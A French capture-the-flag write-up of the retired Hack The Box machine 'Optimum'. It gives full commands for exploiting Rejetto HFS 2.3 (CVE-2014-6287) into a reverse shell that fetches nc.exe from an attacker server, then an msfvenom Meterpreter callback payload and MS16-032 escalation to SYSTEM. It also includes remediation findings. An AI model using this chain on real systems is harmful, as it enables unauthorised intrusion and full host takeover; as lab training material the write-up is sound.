Windows Easy
Optimum : RCE HFS 2.3 (CVE-2014-6287) puis MS16-032
RCE non authentifiée sur Rejetto HFS 2.3 pour le foothold, puis élévation kernel MS16-032 (CVE-2016-0099) via Metasploit pour SYSTEM.
Box retirée par Hack The Box. Write-up publié dans le respect des règles de la plateforme, flags masqués.
TL;DR
- Un seul service web : Rejetto HttpFileServer 2.3 sur le port 80.
- HFS 2.3 est vulnérable à CVE-2014-6287 (RCE via macro
{.exec.}injectée avec un null byte). - L'exploit public donne un shell
kostas(utilisateur simple, aucun privilège notable). - La machine est une Server 2012 R2 non patchée : MS16-032 (CVE-2016-0099) élève vers SYSTEM.
- Le module Metasploit
ms16_032_secondary_logon_handle_privescest bien plus fiable que la version PowerShell du script.
Reconnaissance
nmap -sC -sV -oA nmap/optimum 10.129.76.22280/tcp open http HttpFileServer httpd 2.3 (Paessler PRTG bandwidth monitor)
|_http-server-header: HFS 2.3
|_http-title: HFS /Un seul port, et la page affiche en clair, dans son bloc "Server information", HttpFileServer 2.3 avec un lien vers rejetto.com/hfs. Version figée et ancienne : direction searchsploit.
Foothold
CVE-2014-6287
HFS 2.3x (avant 2.3c) a une faille dans le parser de macros : la regex findMacroMarker est contournable avec un null byte (%00), ce qui permet d'injecter une macro {.exec|...} via le paramètre search et d'exécuter des commandes côté serveur.
searchsploit hfs
searchsploit -m 39161Le script 39161.py enchaîne trois requêtes macro : il dépose un VBS qui télécharge nc.exe depuis un serveur HTTP attaquant via certutil/XMLHTTP, puis l'exécute en reverse shell.
Prérequis côté Kali, dans deux terminaux séparés :
python3 -m http.server 80 # sert nc.exe, terminal A
sudo nc -lvnp 9001 # attrape le shell, terminal BPuis l'exploit (il faut Python 2, le script utilise urllib2 et des print d'ancienne syntaxe) :
python2 39161.py 10.129.76.222 80Le shell remonte en tant que kostas :
Microsoft Windows [Version 6.3.9600]
C:\Users\kostas\Desktop> type user.txtÉlévation vers SYSTEM
whoami /priv ne montre que SeChangeNotifyPrivilege et SeIncreaseWorkingSetPrivilege : aucun privilège exploitable (pas de SeImpersonate). C'est donc un exploit noyau. La machine est une Server 2012 R2 (build 9600) dont le dernier hotfix date de fin 2014 : MS16-032 est le candidat canonique.
MS16-032 (CVE-2016-0099)
MS16-032 exploite une race condition sur le service Secondary Logon (seclogon) : un handle de thread privilégié est laissé fuiter, et on le réutilise pour voler un token SYSTEM.
La voie fiable passe par Metasploit, via une session Meterpreter.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.84 LPORT=4444 -f exe -o met.exeOn dépose et exécute met.exe depuis le shell nc (via certutil), le handler multi/handler (payload x64, LHOST tun0) attrape la session. Ensuite on confirme le vecteur et on lance le module :
use post/multi/recon/local_exploit_suggester
set SESSION 1
runms16_032_secondary_logon_handle_privesc Yes The service is running, but could not be validated.
cve_2020_0787_bits_arbitrary_file_move Yes Vulnerable Windows 8.1/Server 2012 R2 build detected!use exploit/windows/local/ms16_032_secondary_logon_handle_privesc
set SESSION 1
set LHOST tun0
set LPORT 4445
runLe module affiche quelques erreurs non bloquantes (NtImpersonateThread failed), puis gagne la race :
[!] Holy handle leak Batman, we have a SYSTEM shell!!
[*] Meterpreter session 2 opened
meterpreter > shell
C:\Users\kostas\Desktop> whoami
nt authority\system
C:\Users\Administrator\Desktop> type root.txtFindings
| # | Constat | Sévérité (CVSS v4) | Remédiation |
|---|---|---|---|
| F1 | Rejetto HFS 2.3 exposé, RCE non authentifiée (CVE-2014-6287) | Critique | Mettre à jour vers 2.3c+, ou retirer HFS ; ne pas exposer ce service |
| F2 | Service web lancé sous un compte utilisateur non isolé (kostas) | Moyenne | Compte de service dédié à privilèges minimaux |
| F3 | Windows Server 2012 R2 non patché (dernier correctif fin 2014), MS16-032 | Critique | Appliquer les mises à jour de sécurité, politique de patch management |
Leçons apprises
- Une version figée dans la bannière (ici HFS 2.3) oriente directement vers searchsploit : la recon paie.
- Les PoC anciens sont souvent en Python 2 : vérifier
urllib2/printavant de les lancer avec python3. - Pour un privesc kernel,
local_exploit_suggestersur une session Meterpreter fait gagner du temps et évite de deviner le bon MS16. - Quand un exploit local échoue systématiquement (et pas aléatoirement comme une race), c'est un problème de contexte ou d'outil, pas de chance : changer d'approche plutôt que relancer en boucle.